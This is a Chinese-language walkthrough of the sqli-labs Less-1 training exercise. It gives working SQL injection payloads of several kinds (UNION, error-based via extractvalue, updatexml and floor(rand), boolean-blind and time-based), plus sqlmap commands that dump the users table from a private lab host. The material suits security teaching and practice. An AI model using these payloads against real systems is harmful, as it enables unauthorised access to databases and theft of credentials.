less-1

回显判断

两次页面不同，有回显

?id=1


?id=2


数据库报错判断

根据回显判断字符型还是数字型错误

?id=2'


字符型

查看布尔类型状态

判断是否可以进行布尔盲注

?id=2' and 1=1 --+   #页面正常


?id=2' and 1=2 --+   #页面不正常


延时判断

?id=2' and sleep(5) --+


判断列数

?id=2' order by 1 --+   #正常
?id=2' order by 2 --+   #正常
?id=2' order by 3 --+   #正常


?id=2' order by 4 --+  #不正常


一共3列

联合查询

?id=-2'  UNION SELECT 1,2,3 --+  #加-号是为了让前面语句为错误


?id=-2'  UNION SELECT 1,version(),database() --+


2和3的位置可以替换各种语句，如

?id=-2'  UNION SELECT 1,version(),(select table_name from information_schem
a.tables where table_schema='security' limit 0,1) --+


报错注入
group by注入

?id=1' union  select 1,count(*), concat((select database()),0x5e,floor(rand(0)*2)) x from
information_schema.tables group by x --+ #直接套用公式，需要查询其他的只需要把dat
abase()替换掉就可以


extractvalue()

0x5e是^

?id=1' or  extractvalue(1,concat(0x5e,version())) --+   #查询数据库版本


?id=1' and  extractvalue(1,concat(0x5e,database(),0x5e)) --+    #查询数据库名


?id=1' and  extractvalue(1,concat(0x5e,(select table_name from information_schema.tables
where table_schema='security' limit 0,1),0x5e)) --+   #查询数据库里的表


?id=1' and  extractvalue(1,concat(0x5e,(select table_name from information_schem
a.tableswhere table_schema='security' limit 1,1),0x5e)) --+  #由于表名一次只能显示
一行 所以更改limit进行查询



?id=1' and  extractvalue(1,concat(0x5e,(select column_name from information_schema.colum
ns where table_schema='security' and table_name='users' limit 0,1),0x5e)) --+  #查询users表
里的列名，同样以更改limit的方式对列名进行查询


?id=1' and  extractvalue(1,concat(0x5e,(select concat(username,0x3a,password) from
users limit 0,1),0x5e)) --+    #查询用户名密码


updatexml()

此函数与extractvalue()函数的用法相同，不同的是updatexml()有三个参数，update
xml(1,(payload),1)只要讲payload替换成与extractvalue函数中相同的内容即可完成
sql注入,具体操作方法不再重复，下面只进行一个演示

?id=1' and  updatexml(1,concat(0x5e,(select concat(username,0x3a,pa
ssword) from users limit 1,1),0x5e),1) --+


布尔盲注

?id=1' and length(database())>8 --+   #判断数据库长度


?id=1' and length(database())=8 --+  #数据库名长度为8


?id=1' and ascii(substr(database(),1,1))<116 --+   #SUBSTR(str,pos,len)从pos开始的位置
截取len个字符，转换为ASCII码判断数据库名第一位是否小于116


?id=1' and ascii(substr(database(),1,1))=115 --+  #判断出数据库名第一位为115的ASCII是s


按位判断比较慢，有一种半自动bp抓包方法



得到数据库名security

?id=1' and length((select table_name from information_schema.tables where ta
ble_schema='security' limit 0,1))=6 --+   #得到第一个表的长度为6

?id=1' and ascii(substr((select table_name from information_schema.tables where tab
le_schema='security' limit 0,1),1,1))=101 --+  #得到第一个表的第一位是101的ascii码位e

bp半自动测试



得到第一个表名为emails,掌握方法即可，半自动不再测试

全自动测试，使用sqlmap工具

sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1  #查找是否存在注入漏洞

发现注入漏洞


sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 --dbs  #爆出数据库名


sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 -D security --tables #查找表名


sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 -D security -T use
rs --columns --dump  #爆出表里数据


时间注入

?id=1' and if(length(database())>1,sleep(5),1) --+ #如果数据库名的长度
大于1则延时注入否则正常输出

建议使用顺序：联合查询>报错注入>布尔盲注>时间注入。